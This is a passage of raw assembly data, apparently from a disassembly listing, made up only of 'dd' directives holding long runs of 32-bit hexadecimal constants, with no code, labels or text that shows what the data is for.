0B317FFB5h, 0F62215C8h, 648C7798h dd 378ABB45h, 0A85D8545h, 50E29683h, 0AC6A5D7h, 1459657Bh dd 4254BC1Ch, 0FA50504h, 281DFFBEh, 0D572F9E0h, 8A55969Ch dd 8387CFF7h, 2670B152h, 506A5261h, 0FC5E3838h, 0E2D4E02Ah dd 3CA9AEEh, 0A5ECC9B7h, 6C5DD770h, 0A064959h, 0C5F5E62h dd 588B7CDEh, 0F01FE389h, 0F7DDB932h, 790C669Eh, 6CA22CABh dd 632A8498h, 7B30D82Eh, 9B4FC34Eh, 0A41EDBB7h, 270DFDC4h dd 40AE56B1h, 22406CC3h, 28F68D53h, 591F2F1Fh, 27BF6B8Bh dd 0C8E6475h, 82E181B6h, 28B7762Dh, 0FB7962DAh, 30FCE490h dd 0CADB069Ch, 24F38C0Dh, 8D725CCh, 2F46D355h, 0E45F6498h dd 0CF47C5C5h, 9926CC7Ah, 330453E4h, 437786E0h, 5185F1F5h dd 919CAF7h, 0A5F00B43h, 0A4050D95h, 0D1A5AC1h, 61C11131h dd 2A028D00h, 8A745A6h, 0F6D8C06Ch, 33E0E9Fh, 0D365D47Ah dd 0B88113h, 0BF0509C3h, 8E9782F6h, 2E3674C3h, 22F448EAh dd 0B835C2EAh, 3B7DAC2Ah, 455596C4h, 0D9DDC8C5h, 5E9437E6h dd 60EC10A9h, 8C3098D2h, 875929F5h, 0B6F40354h, 0CE43C4DEh dd 8E30F5F6h, 7F9B8918h, 33F59F0Bh, 50D6F084h, 8AEC50D1h dd 0AC6B8CCAh, 0CECBF0C1h, 51F4DB0Eh, 14406C63h, 18D18D19h dd 8DB15DE2h, 2801BB2Dh, 0A4019347h, 7284E5CBh, 8809A192h dd 82959133h, 0ED165553h, 33C27610h, 0BCA0F515h, 0CFC4746Ch dd 2D9C42A6h, 5EA5AE79h, 133C815Ah, 3E837F0Fh, 3D7F3B28h dd 0B4013380h, 56CF872Ch, 0AAFB1D15h, 0D80EEE7Ah, 0AC59654Dh dd 0CA91D8F5h, 0E4FCBC2h, 0DFD3DEFAh, 2289AE3Bh, 78EFCA6Dh dd 2A66480Ch, 41DF525Eh, 2987C52Fh, 40E095ACh, 0BFD80B45h dd 5324FABCh, 0E2F9F004h, 5EA10E29h, 0DF928B0h, 4344B589h dd 143D3B9Bh, 0EBE50FC2h, 2CA07B18h, 9E13AE82h, 0C6DB4871h dd 0E9A11C04h, 8D644022h, 0E3C03248h, 0A69A552Bh, 5D717761h dd 43097A11h, 65B39454h, 3B2E9180h, 0A3E64C8Dh, 8305AD7Ch dd 3322A926h, 7199168Fh, 568DD739h, 0E50429ACh, 878EF210h dd 39125026h, 93898D5Ah, 0E8706725h, 0ECE261CAh, 0E782FA77h dd 25DCED78h, 52E693Ah, 8979CF25h, 0A4FCB0E9h, 2AC505F1h dd 6DC45105h, 0B9017346h, 69C5D268h, 1E7B177Dh, 2139A91Bh dd 6A36ACC8h, 0BDAEA350h, 0BFD404AAh, 0CFB8257Eh, 193E845Ch dd 0A3E19966h, 898A2Dh, 3ACFE569h, 54E08020h, 0E7BAC03Fh dd 0B0DD56D2h, 0B799192h, 0F34D291Bh, 0CC4240A2h, 0EF929B02h dd 7D32F520h, 0A74D6308h, 76349DDDh, 81F9900Eh, 0A8E7057Ah dd 0B235089Ch, 40C52Dh, 0A38EA6B0h, 51C5E407h, 4D8C1723h dd 4DCA7D67h, 8AD42D4h, 5343D4BCh, 6289B755h, 0F2AAD8F9h dd 60524042h, 0CAC2034Fh, 61F97BF5h, 0B112ACFEh, 0ABBA7274h dd 0AEC6C6FDh, 2815EF71h, 0D769C30Ch, 0A29CB888h, 0FC4A2E06h dd 5CE0DCA4h, 8A506BB9h dd 77561F4Ah, 0AE61C7C4h, 7EA827F9h, 2F5067B8h, 4FFDE243h dd 0E8785837h, 9262406Ch, 7D069C7Ch, 4AD42255h, 2B0F0D8Ah dd 0C7C8FC6h, 75AE8D14h, 2828104Ch, 0EE480107h, 46928406h dd 5886573Fh, 0ED9B33B2h, 0ADC9B4EBh, 869BF58Dh, 3FE6A675h dd 294174BCh, 54CC19AAh, 0D68F6716h, 0EBBA2242h, 0C3184F4h dd 73EA0512h, 175276B2h, 9ED433FAh, 0FB7210B1h, 4A4633C2h dd 0AF0AB159h, 733CF7F3h, 9072D03Bh, 0AAD1D422h, 0FD7F863h dd 0A5872B53h, 4F3D7CE8h, 0C82DA529h, 0CB531CE5h, 0F3DF8B37h dd 94AE1FEh, 3509A100h, 4E44C627h, 0CD3F0600h, 28FEC242h dd 74B189BAh, 0F7404515h, 67511E74h, 621425FEh, 0C40B0620h dd 96986DCDh, 0ED8FBF14h, 22C4FDE3h, 8C87163Ch, 2E9DD87h dd 0FB9B5A31h, 0B2E35352h, 0D21158CBh, 0F69FC599h, 0B0FBF980h dd 7FBDC65Dh, 0C0772B93h, 0B75E0E54h, 42D10B82h, 0B506B8FBh dd 5A9F5C09h, 0D8F253F5h, 4B2E7370h, 4FB067FEh, 21667DA6h dd 5D95156Fh, 6B95A608h, 0BCCF7F7Ah, 0C909A9F6h, 2ED51521h dd 0DD48EEF9h, 0D4F2D75Fh, 8B6D6368h, 60AEFE7Eh, 58B5950Dh dd 78624091h, 0F3CCBA0Bh, 3F2376BDh, 3EDCF97h, 33CDB9C4h dd 0D9663054h, 99E8DE83h, 0B3543093h, 0F81B9DE1h, 6278733Ch dd 8AEC9A3h, 820729F8h, 0EC5FC994h, 347CDED1h, 0AB8F38FEh dd 60FC05ADh, 0B870049Ch, 0CFA90535h, 3CD40789h, 1284A331h dd 6F65E42h, 53DDE50Dh, 0CFEA0C63h, 2C3AAF83h, 93CAEC41h dd 6706698Fh, 0A0BFAECFh, 541A14CAh, 0DBAA201Eh, 92D690EDh dd 0FC9157CEh, 17061633h, 0C0738847h, 388BF3D5h, 0B3BB8FBCh dd 2608D705h, 0DAC8CDBAh, 82700A96h, 6B4EA325h, 0B8CEDE70h dd 0A3C75133h, 0E646549Eh, 0E0C2F82Dh, 0A161EFA0h, 0F5D2821Dh dd 0D387563Dh, 0A3C31ACFh, 0A440DC8Fh, 0E053B3A5h, 872D1FC1h dd 4B3574A2h, 0D68B0872h, 1168507Eh, 0DBDAF765h, 0E6B72AEDh dd 0A146F366h, 71409EA4h, 224A57B0h, 93301BCBh, 0C0698F24h dd 84CD1FE6h, 0CA725A6Dh, 1169B7A2h, 0FA9197AAh, 21A70F84h dd 0CE560FFCh, 2FA836CAh, 3AAF2F55h, 54BA7387h, 79E94A64h dd 57A3424Dh, 2A8E444Bh, 4109BDE7h, 1185F139h, 718F1875h dd 1B88F57h, 8D4C205Ch, 80A1001Eh, 2BC2B42Ch, 840AB31h dd 45B35348h, 0A7B1E3BBh, 0C57B87C7h, 697286FAh, 4A6C7D69h dd 46C2A131h, 72D3E455h, 873A658Ch, 0D8390766h, 47B95F35h dd 0F11C5D7Bh, 0BD1C16CEh, 3D3C0C24h, 3F85DA53h, 5DB2671Bh dd 7BF1C85Fh, 34825A06h, 0CFB669FAh, 83E58247h, 2E6F3E4Ah dd 9B39A0EBh, 29FF7737h, 770D0B05h, 109F85B1h, 513D3FDh dd 2E6496BCh, 0E369B548h, 0FF777CDh, 0B77D4417h, 2CC2B551h dd 14D516h, 5031EF2h, 58D2C2C8h, 44FEEC10h, 517FB114h dd 0DA723752h, 3713DF1h, 9F55D912h, 4D176C59h, 0AACD92B6h dd 97E45A91h, 9B0721F6h, 1F3CF6FEh, 5F9FDA0Ch, 36B8B69Ah dd 93E4CC4Ch, 0F35FE207h, 34B5A987h, 507EBD9Bh, 9F55A83Ch dd 129AFCF8h, 11C9C702h, 1BBFD840h, 1ED10288h, 4FB56B9Bh dd 49CFD3D8h, 5A212D47h, 10022C05h, 0FD92B03Dh, 0D028839Eh dd 6DD457A6h, 0BFD9693Ch, 65E25EA4h, 0C788F32Bh, 0B7D9BEFBh dd 0F9EF8669h, 234FC8C5h, 5C38DD16h, 0F66F76B6h, 0B8F1B656h dd 0DC1BD42Dh, 0DA3F605Ch, 77919A2Eh, 40074BA1h, 0C807BC84h dd 2336E7C8h, 4EBB4858h, 6584128h, 784BD478h, 0CF00F9A9h dd 18DB5B20h, 107EC230h, 0DDBD14FEh, 18F997F2h, 358FB74Ch dd 774CC4BBh, 517366EDh, 658EBDB0h, 53BB7BEFh, 0D9F9EEFh dd 19CCD5EBh, 0AB09A5BEh, 0F65A3BC4h, 9C8A15D6h, 7AE3B3DEh dd 6E2216D6h, 3E9B351Fh, 584E8B36h, 10A36D83h, 9A55803Ch dd 5A5040D2h, 7840BBDBh, 1D4B2243h, 22DA1F9Eh, 0FC07D464h dd 0A6010E12h, 1B488F9Eh, 15230710h, 0E263035Ch, 1C640F15h dd 4654B7E7h, 32C546Dh, 5E1CEA0Dh, 0B8C32D19h, 305EECC6h dd 8268C7BAh, 834F7102h, 93E3DC62h, 7A8FFDDAh, 0C3D60770h dd 4BE70555h, 44E0079h, 82588C81h, 0B5946B95h, 1B584FE5h dd 86FBB45Fh, 94039094h, 40DB4140h, 19E03A45h, 0BE6572DAh dd 0E28BED67h, 191B4959h, 98A56015h, 3C28F245h, 6165427h dd 0CE63BF99h, 0A8B5B312h, 0A249E7CEh, 38CC6848h, 78012806h dd 5A47184Ch, 8957F7A6h, 54FF254h, 41027AC2h, 0A2D8CE8Ah dd 0E0BC4EB9h, 1379D21Bh, 0FA476534h, 5311E24Bh, 9FC2AADDh dd 0E56D6884h, 0D4A34DB0h, 0AD7FA75Eh, 0D3BE4EDDh, 77981C47h dd 7E14DFEAh, 0EFB5D88Ch, 0D4F41950h, 85B7FE10h, 0FF4A3D7Eh dd 0B8DB6C6Ch, 8EA1DFCh, 0C97EC07Ch, 87CA57C5h, 0FEF96344h dd 727CD019h, 0C6844541h, 0FCCE1639h, 788EB2A6h, 0AA303076h dd 47AC2443h, 0DF092B1Fh, 102A685Ch, 2FA8C075h, 9429E71h dd 1DD9B8CFh, 0D44308ABh, 1B8FAE4Bh, 5586BCFAh, 4DC14B43h dd 0F2A19591h, 315ACDB5h, 0CB957EB5h, 9C958334h, 859997DAh dd 81CB6D46h, 4FDCF1ECh, 0E9110446h, 0EC248BE8h, 0F21CA813h dd 0F8D97E0Ah, 1B2AD72Dh, 708C5DB3h, 0A2CCA72Bh, 0B0E6E8B5h dd 0B671B09Eh, 8EF6DC0Ah, 41C0CBFBh, 82162FE9h, 0B60B7BC2h dd 0B5F76BF2h, 4E4B02C0h, 4CB298FCh, 0C4B7925Bh, 5CF11C28h dd 8053B9E1h, 13AA5949h, 910E4912h, 8750EE12h, 71236AD7h dd 0DB9DEF73h, 9360FE60h, 0D9EFEAC9h, 0E5688B8Ch, 5F18835Fh dd 5E649B3Bh, 12F2B09Eh, 51B8442Eh, 38FB6D56h, 5D84F648h dd 0BB0884E0h, 0D6E08DB5h, 3EB23275h, 0E1AAD3EAh, 733132FAh dd 6D8E4E08h, 782891A3h, 52E9BB9Dh, 0AF8CAC9Ch, 99822AC1h dd 94B4A551h, 578CB30Bh, 0E9247FCEh, 63730A1Ah, 0A5A4E69Eh dd 664447B6h, 1EF9C7E7h, 3A44320Eh, 444F45FBh, 1B8FC209h dd 0E09422CDh, 1652F151h, 38DE0498h, 9C74E014h, 0D9861137h dd 6090D591h, 0A79CB8BBh, 23EA924Ah, 32E488B8h, 77C96314h dd 4E6FBC77h, 4706AAC7h, 1C6A3134h, 52A21A0Fh, 96689525h dd 8386351h, 0B361B699h, 2637CE61h, 57037514h, 87520B6h dd 1D55E5B6h, 177C7F64h, 470AB5Ah, 0A4910CE8h, 20FAB3E7h dd 91A925AFh, 0B3AD6E8Fh, 0BD64C0FDh, 0F06DC203h, 7B5C2E81h dd 0F37AC067h, 98689499h, 3F4F25A9h, 179C93ACh, 84C9822h dd 5EA4EAF1h, 0C03905D8h, 25693504h, 75C0F9A0h, 0A498FBA1h dd 7103BC29h, 51F212D8h, 0E758AE74h, 931BFB61h, 0C0454B3Eh dd 7487AF3Ah, 47D5656Bh, 1F91112Bh, 0D3FC44B6h, 8D548751h dd 6F96AC10h, 9AFCEDD7h, 0C92059AEh, 6BDC870h, 0BF939B43h dd 0E30B1D29h, 7798F955h, 6A3B732Bh, 2D6BB58h, 0D1BCA53Ch dd 44D0517Fh, 0AD6D969Ah, 0B36A3871h, 4F0E3EDDh, 73A810Ch dd 398E4673h, 909B7D17h, 0B4C9FDE7h, 0C61B3601h, 0CDCFD1EDh dd 0CEB8AC34h, 0CB2890AFh, 2A41769Ah, 0A017E50Ah, 653117F2h dd 183AE272h, 165E97ABh, 0ECE69985h, 0FC7037Ah, 1CD2265Ch dd 65693D37h, 4CE57EE5h, 819F1AC0h, 0F836E12Bh, 3685D52Bh dd 0ABC5036Eh, 0E78F7854h, 822F7CC1h, 7B81A098h, 6D36AD4Fh dd 0A8F3CF9Bh, 382810D0h, 0A44E87F9h, 9A6E094h, 50636DC9h dd 0E687EB3h, 91EB0253h, 0D2C79322h, 11703932h, 6021F952h dd 0C2C1B758h, 8333A57Ah, 0EEF361Ch, 0DE3F75D3h, 6E2167Dh dd 29DACE2Eh, 0E80BBAABh, 3246911Ah, 697FD03Dh, 217F329h dd 0D8B40BEEh, 52E01FB9h dd 0CB17D5E7h, 0DD2CAC10h, 50052145h, 8E51429Eh, 585191A8h dd 175C2D7Ah, 0AE7278D6h, 0E5FD23D2h, 768D03ABh, 634518D2h dd 0C10339Ah, 87F5E38Dh, 891C8072h, 9CFFF9F6h, 0B84A4388h dd 2B9A42CFh, 0E0DB1670h, 245C0C62h, 15ACC665h, 0D892455h dd 4423D228h, 2A8FAF50h, 600B701Fh, 48C09C0Eh, 2E4C052Dh dd 0DBE3C168h, 5B05300Fh, 9D7F711Ch, 6614B74Dh, 79087DA6h dd 71A16CA3h, 5AB9551Dh, 63C342F8h, 0BD70FFD0h, 5B2C9648h dd 62ED4317h, 0F3FBE3B2h, 0AE285268h, 0DB191C2Ch, 17DFD61Dh dd 6001C480h, 737E1576h, 4A8E2D78h, 21F40FAEh, 0D3A7EF45h dd 0FD8732F2h, 0E213A8E4h, 0B5D2A21h, 0FFF93D1Bh, 7ABA4A8Dh dd 0B5F8A61Dh, 33478C21h, 74DCAE47h, 9BF37656h, 7240C023h dd 0F37C5F84h, 0EF8727F7h, 0D80773Eh, 6D519FA3h, 902A47FDh dd 95F9C9CBh, 70A2FC40h, 0C1EDC2F9h, 77CA9D81h, 96D96D3Eh dd 3ED11DCBh, 1ED75BCCh, 61EED5Ah, 0E2CF08E1h, 3228B8A4h dd 68428091h, 1C1D2201h, 0A305FE9Ch, 0AC94BA7Ah, 97A276BCh dd 1D624501h, 437A9EBAh, 0FA540DD9h, 0DEA48D57h, 0F21908F7h dd 99D3E6E8h, 6EEB9F6Dh, 47DC6832h, 4C957464h, 0F05CA81h dd 63388252h, 2CBE1AB8h, 32E21D9Bh, 0C4CD3D70h, 79CFA74Ah dd 0EC62ACDBh, 0C22B3E17h, 0A0DD2BFAh, 0F4D7E9F4h, 36AD2C72h dd 590A012Bh, 0F6894A9h, 1B556EE6h, 0F2C6A9A4h, 0F745A05Ch dd 1A444BF1h, 0E857D358h, 0B586FCBh, 6F74A860h, 0AEF2FF28h dd 55076EC4h, 6D275F74h, 0AFF113FEh, 92908BA1h, 808C4AE0h dd 0A8D2F924h, 0DC7D60CEh, 0E81BD711h, 0E3CF4E54h, 498FC3F9h dd 0A95BBB4Eh, 7DE2E7A6h, 3B7E5AF2h, 0C2CF6EDDh, 0D94DA0B1h dd 2B3F4A74h, 198EF477h, 3AF453BDh, 7581C86Ah, 0F68D8BA5h dd 6C79BE6Dh, 0D2DA2039h, 0C47D8ACh, 0B38C2F66h, 0EED8C4F0h dd 8FC81606h, 0F8901D3Dh, 6A56D690h, 73FB6C8Ah, 4D885A5Ch dd 660F2DCDh, 0B1D004DBh, 16F1F563h, 67AAED75h, 1CB59335h dd 373431C7h, 0BADCB2B8h, 34940ED6h, 2BB81300h, 90A2ACC9h dd 0C2077014h, 0F4342D85h, 16A1C4F9h, 902623CDh, 0DBDFCF0Fh dd 0D3B4BC68h, 3FA17DF9h, 0D21D96DFh, 38C406F2h, 2AF6B0D7h dd 69C6A269h, 0F65584E5h, 0D9DF5F8Bh, 0F19E3713h, 7CBD8F4Fh dd 0BB3FA2CEh, 0F3F0EADBh, 0B430D210h, 0EB49FC75h, 86E43C20h dd 0B2723B1h, 0F9B97744h, 71042DBBh, 4B5D1376h, 0E9429D87h dd 7510B567h, 0EE78FD34h, 89A87491h, 2BB2D6D0h, 0D40B6EAh dd 4A119959h, 9115233Ch, 0E529D31h, 0B32DAED9h, 0AB3F4235h dd 6D5B69A6h, 30A731DFh, 0FF55B4EEh, 0A2577D4Fh, 78BB2877h dd 5382980Fh, 7E5C1FADh, 83B18CB1h, 4A4088B2h, 8C776618h dd 0E7DD1A2h, 683DB21Fh, 8ED8956Fh, 0B6D7DAF2h, 17AB2566h dd 19B8CB72h, 68EFFCBEh, 0C0BAE9Ah, 0CD7325B9h, 0A0EF30ABh dd 72D7493h, 88BF4A61h, 6AE494FAh, 0CAC29FA5h, 7D70368Ah dd 0C6054764h, 746321E5h, 0E33FD8F4h, 0AB3273DAh, 3027A314h dd 0FF7E03DFh, 0D3EB39D2h, 89250D4Eh, 0BC1CBA0Ch, 18B9EA93h dd 0FE761580h, 0DA4DA4F9h, 368B4E7Eh, 0A28F957Fh, 703D830Bh dd 333C014Dh, 0E741BF36h, 4A0F5BE6h, 2B72C943h, 0FE563112h dd 313FB3E6h, 46E2184Dh, 4D657147h, 983D0BEEh, 0D7904DAh dd 933A1E5Bh, 0EAB391C3h, 41BEB66Fh, 49AD69E6h, 0D69DC950h dd 75992DF9h, 46DE8C4Eh, 4C1FCA77h, 67B70DB0h, 58A3A314h dd 0A9C5644Eh, 2A0320ABh, 96D7DE52h, 68B0E9FAh, 474887C6h dd 0BB8B4DA2h, 51435B5h, 0C1975056h, 105E66AAh, 48BC6832h dd 34796421h, 0AAC8AA87h, 0E5231A10h, 1C5EF15Ah, 0D18FE9BCh dd 0D6DA3DC2h, 0B11D85CFh, 907F0275h, 9F6A2C5Fh, 2FFF63h dd 169F67BFh, 9F74DDE2h, 200AE888h, 0E55DF92Ch, 0CE06E668h dd 99C589ADh, 16FF9F7Bh, 8B166539h, 8C809A67h, 1650E25Ch dd 9C769A0Ah, 0A557F542h, 8ABBBD98h, 68D12472h, 6221144Eh dd 9890A43Eh, 5C635D1Ch, 7C4A861h, 5E195365h, 11D7FA11h dd 0EC6D596Ch, 0F4A17D99h, 807EDDB2h, 4A380D01h, 1ECE9365h dd 0BE4B8EB3h, 7CD5DF2Fh, 7FF20EF1h, 0E1D83EB2h, 90C9511h dd 0BD80DBA7h, 1020A0F7h, 0DEA4B06Dh, 21248486h, 0DAB188ABh dd 10478A5Dh, 0C1FCC6A5h, 0EF1780FBh, 7D10572Bh, 7530D689h dd 0DC0E5CFh, 860AB92Dh, 0DEA15F21h, 0E241AE67h, 0AD866EDEh dd 3DF9ED46h, 421A96AAh, 9BB5264Fh, 5153184Dh, 32CF9116h dd 0EB066E29h, 0F590AE03h, 4AEF7C12h, 0B3F6F499h, 2360EBh dd 0E7C24FF5h, 0AA8D0F65h, 0AA57684Dh, 427D8DB5h, 375CF749h dd 0DEEB9FE4h, 0ABC1EAEAh, 5B69D7E3h, 20BB2F29h, 0D8A2052Ah dd 57036795h, 1D934FC8h, 0EF4A0BA1h, 88910B59h, 7C432465h dd 8C466B80h, 408D13Bh, 7BADF25Ah, 0EF409E21h, 0E1391AD5h dd 0DF808579h, 0B4765E7Ch, 0F3275EA4h, 142C70F2h, 1960A1D7h dd 189B8315h, 956F0C77h, 8A34154Dh, 0A21159DCh, 0D0648C35h dd 0B9C1CF24h, 0BDAE9058h, 9F0A3630h, 93E1172Ch, 0BA00B496h dd 18BE43ECh, 0C9AEFFF5h, 5C417A1Bh, 0E0CE6AF5h, 0FE5A864Eh dd 0D4E95DCh, 29C306DBh, 0C898A615h, 0B75C66DEh, 5D68950Dh dd 72E40163h, 0DE99EAE1h, 0AD9FA7FDh, 6D042157h, 0A935C7AFh dd 6C998E4Eh, 0AA07B9DBh, 0EDA5B80Fh, 0A1FBFC6h, 51E59E88h dd 0C1F816B5h, 55A4FA1h, 8898CACAh, 9DEA76F3h, 7D23F5h dd 1A3E03E2h, 94B892DBh, 0C3D30936h, 3B27933Ch, 9010D425h dd 0EE78B01h, 394F21Bh, 788C059h, 7CE92EC8h, 0F17BB28Bh dd 90738368h, 64CE2FF8h, 2EAC2872h, 0BAE44575h, 888EE6DAh dd 92AF02B4h, 93EBC0D5h, 8A8A62C4h, 0DCF78CD4h, 16B407D7h dd 2B65E07Ah, 2B64E453h, 0BA881014h, 0F9887602h, 642A68D8h dd 57D35B19h, 0A8B6ED51h, 51E0E22Bh, 0C22EE9EDh, 5D0E6A89h dd 59714FA7h, 0A31601A1h, 26C4341Ah, 9441D55Bh, 10E724DBh dd 4A1F31E3h, 393193F9h, 294453D5h, 44D4C0Ch, 0EAC5FD90h dd 4E41CF7Dh, 0A42558B7h, 16923A92h, 0C1E98A93h, 0CF7C5A9Dh dd 0D9C3BF9Eh, 0BBDC0B2Ch, 0A047BEB5h, 4A774B82h, 76D57E7Bh dd 6879EA0Ch, 286CBAFFh, 0EAF5DE9Bh, 877E87F2h, 453BBCB3h dd 0D5D53E58h, 94F914D9h, 428B58F4h, 0C24ADCA7h, 7E7EC033h dd 0BDF8D30Dh, 2F7688Ch, 0F3EA7B3Ah, 0EF6F4001h, 943E5E35h dd 7C3BB46Bh, 8794BE9h, 57588822h, 0EDEE5B08h, 85BBFFB5h dd 0A98CE8AAh, 0C91871B2h, 5ABE35E4h, 1771D7Fh, 14468CACh dd 11F35634h, 103D283Bh, 957A71E5h, 8EEDE388h, 8354558Eh dd 6CB606Dh, 9B472AAAh, 9B9C89ABh, 681A0648h, 0A62F4799h dd 5AAFB55Bh, 5EAB481Bh, 8D5916D8h, 8CE7973Ch, 62DE1001h dd 0CDF9885Fh, 5D91779Ah, 0DC7BEA09h, 2AB0B535h, 11C453F9h dd 0C612533Ah, 1A95A7A1h, 7618E7Ch, 0D9AD6CB2h, 0FC867B7Ah dd 6C295974h, 8C40A19Ch, 5E0648F7h, 0F17295EFh, 0C597DF10h dd 3DB790CCh, 0C00B1012h, 820B345Bh, 0F834E831h, 3E4E41D2h dd 255F21E4h, 93D5533h, 0CFEFBCA7h, 61DB5A82h, 549999CFh dd 4E942DCFh, 0EF8BFBC8h, 497D69AEh, 3A6EAF5h, 236ABA25h dd 66B2F78h, 0D48A0468h, 0BECECA93h, 0BF538AA0h, 89D9E9CFh dd 0F5FF6E92h, 6F39B5E7h, 0DB859CA0h, 7342189h, 901021C7h dd 0EF12D49Dh, 165E9E65h, 5DEC6715h, 0B3FEA6ECh, 5282A032h dd 71A50C58h, 73022D57h dd 25F47A6Ch, 0F8199942h, 0A6AAABFBh, 44537BDFh, 0B35D2BD5h dd 0DB794EA3h, 1B4B12D2h, 0E1F97985h, 77198DFCh, 765FCEBFh dd 4C15F17Ch, 7F18F415h, 950BF943h, 747D4A8Ah, 665EFD0h dd 0DD2105CAh, 72156BD3h, 0DA01B464h, 0C5AE1399h, 25D8BFE9h dd 0CCA9DB0Bh, 761858E2h, 37FB1F2Fh, 5FD16F02h, 3B57D92Fh dd 627B193h, 0CC0576A8h, 34C5F1A5h, 0E63BB21Ch, 0BB04DB7Fh dd 2D859EC4h, 28DF556Fh, 9298594h, 9677823Eh, 0EF1CE455h dd 347A5C82h, 821A36CEh, 3D73F926h, 0FFCA8D5Ch, 4FFCE438h dd 0E350A6CBh, 40093ECBh, 0D83AE0DAh, 0D951F25Fh, 4FF9E1A3h dd 0EDE71346h, 0F533F3B2h, 35E79BBEh, 109710E8h, 1938007Fh dd 0A7A999ECh, 2C2A115Ch, 0FC8B5DA9h, 96F56D4Eh, 348E983Fh dd 0A9F39CD9h, 0BFAF32ABh, 9D991098h, 0B596DB99h, 0BD5B61C6h dd 0E363CE4Ch, 0F008923Dh, 3B2B6B8Ah, 1DEA9D98h, 30DAF104h dd 3E1F4EE0h, 3D6D3FCFh, 26665249h, 38202B60h, 0C18D3282h dd 54BA5367h, 81482FBAh, 79929069h, 0FDF3071Bh, 89CAC5A8h dd 7FB90510h, 8CCDE57h, 41C1C04Dh, 539E9874h, 91CE3DDCh dd 0E3ED1FF3h, 1251E5FDh, 3840CDC6h, 0EAB5560Fh, 0B5DEC1B2h dd 0DCB50322h, 1829B75Eh, 11F13998h, 8101B738h, 0B1CE5285h dd 0D7166521h, 0FB2E517Fh, 0CBA7D7E2h, 16546994h, 0B66C9DBBh dd 0AEBF0928h, 0B5860DF0h, 0D18F18D8h, 0D515E12Bh, 73373686h dd 0F58105E9h, 0E7D4DDCDh, 35F819D1h, 3D7A232Bh, 0C36D9347h dd 0F8EA01F2h, 8544Eh, 2D61F1B9h, 4730439Eh, 0C70B9E7Ah dd 0E57D1B16h, 58954BBh, 0EC1461F1h, 4452DBD2h, 0D8FBD161h dd 566FC5B1h, 5A1ADA37h, 1BA97CEFh, 0E3B69D43h, 46BD0B94h dd 46E36A3Ch, 7D685BC5h, 0CAA37C78h, 7A08862Ah, 49377B52h dd 96C692FEh, 4F151568h, 0B44E6395h, 0A7962265h, 0E709BDB3h dd 4A301B59h, 0E9D41C41h, 1DC90B1Fh, 0ECD797A4h, 0EA2B3C40h dd 552685ECh, 7D42B671h, 24D0E373h, 7B36CD24h, 0CF2475BEh dd 5F09C810h, 1E5633CEh, 23B8C5DAh, 0F5CECCDh, 13C41564h dd 0CD169C9Ah, 6909E229h, 88E571CDh, 22308F01h, 92F7DEC9h dd 3787615Eh, 6DE2D302h, 7B6B8343h, 7BE5117Ch, 3BEBE6B7h dd 0D954B6F5h, 0EB08708Bh, 37578B13h, 562145Dh, 1F947Bh dd 2DEBECFBh, 81732FA3h, 0B7A3D403h, 0B98C2EFBh, 0F320C5Dh dd 0A5DC11E7h, 4CCF8E61h, 0BD5F4D4Fh, 0B421CEF5h, 0E511A84Fh dd 7EC1BB37h, 19F2405Ch, 71F8DDBFh, 0E84D07EEh, 0B54F3B3Dh dd 85253F81h, 34C3B0FAh, 0BAB55EA9h, 5A950F71h, 75025A94h dd 4F893BCFh, 93FBF2FBh, 0A3182CEBh, 0BC224499h, 0F2ADE568h dd 0F262E4D6h, 0BA44FA1Ch, 588E638Ch, 0C809ADDCh, 9CE152CBh dd 0B06DDBAFh, 0FC94CD01h, 0C121ACA4h, 0B708147Ah, 13623B09h dd 0E80B67Dh, 52807B48h, 588E2E9Dh, 3CFC0534h, 4D1368C4h dd 0B306EED6h, 9B2D2398h, 5DFE6A2Eh, 0E6521E94h, 9C49453h dd 9BEFBC73h, 0DFA7A883h, 6E3502EEh, 8705A24h, 6C9D8C8Eh dd 0A92AD5C3h, 62EF822Ch, 9714257Bh, 9BB0D80h, 84E8AADBh dd 0F3FD69EFh, 778DE473h, 0FEBD99AFh, 1BB2BF71h, 438ABD0Ah dd 15A893B8h, 0A38E7D51h, 0A0442494h, 0CFC07F68h, 8701F27Bh dd 0B746DF56h, 63DECBD2h, 0D25E0026h, 4AD7402Ah, 255A3D76h dd 0D2A6CBDCh, 72B2B931h, 10FFBDADh, 0C3282397h, 55A07EE1h dd 5797664h, 9D7BCB8Dh, 1BF55557h, 0FCDE387Bh, 0F0C66CACh dd 8FEB7C30h, 32CF5783h, 55C94B60h, 0E8869023h, 6AAF0F89h dd 5646D25Ah, 269A3E5Ah, 0EC4A8Fh, 0AD4CAE4Fh, 0C0C1BEE2h dd 0A4C66EE4h, 63E8FCE2h, 51A2AC8Eh, 8156EBFEh, 9271166Dh dd 54EE76F7h, 7326B196h, 5A96D3D4h, 5C790A1h, 3BE55DBh dd 0A35D49CDh, 0A554E821h, 0F23D2004h, 0D8D487EAh, 92140A0Ch dd 27D01673h, 0C8711BF6h, 46DF341Ch, 311D2E5Bh, 0CF37E2F4h dd 0CADB2A14h, 0CC0BB8B1h, 0FB479F8Eh, 24E1DEB3h, 0D48C4F43h dd 7BBC67B0h, 0D98058FCh, 855FBE8Eh, 15F8E4CAh, 0F7A8E0EDh dd 891558ECh, 3EF148C1h, 0EB351E65h, 234D7E36h, 4505D12Ch dd 0BD645824h, 62F9C5E7h, 46657A86h, 5F734BE9h, 0D29BA3E2h dd 0E5455672h, 5A059D15h, 429B5128h, 8D25636Ch, 0D652C989h dd 1D916F8Ah, 2789BBE5h, 4AE0863Eh, 0DE160CEEh, 10148861h dd 0A92F2BB9h, 0AEF00679h, 487A4156h, 67A85EF5h, 0FBAEBC45h dd 2B03A4D6h, 0E28ADF57h, 67D222D8h, 0E1254E3Fh, 0F684A070h dd 5826D790h, 23F15093h, 0ADB16053h, 4FACF513h, 78964A0Dh dd 4BD9AC3Ah, 0F808C2C6h, 0EA1672h, 3AC8F5FAh, 0E6046826h dd 199A5FAEh, 6626A5B6h, 0D0A6BDECh, 94B6185Bh, 6B70E05Fh dd 7F5C58A9h, 3765A772h, 3CE1861Eh, 65F46324h, 1B2DE38Dh dd 0BEA92D53h, 0C547625Ah, 0DFF6E7CFh, 0E6CF96B9h, 4F96DE14h dd 0DB92225Ch, 1F3CB5CDh, 561F6D77h, 4FA34324h, 3858D0E8h dd 0AA30D1E4h, 36847E92h, 74E68DCh, 0BC32F2AAh, 0A6D026FDh dd 0B9CE232Bh, 0F631441Ah, 0BF0C9748h, 23D5570Bh, 70A61F1Fh dd 9E10B22Eh, 0D9734791h, 15DB998Bh, 34226B98h, 0A0D8991Ch dd 454C3298h, 0B4FE850h, 0BBDCCB87h, 85A137A1h, 0C0D428D7h dd 60D56554h, 2BDC1AA8h, 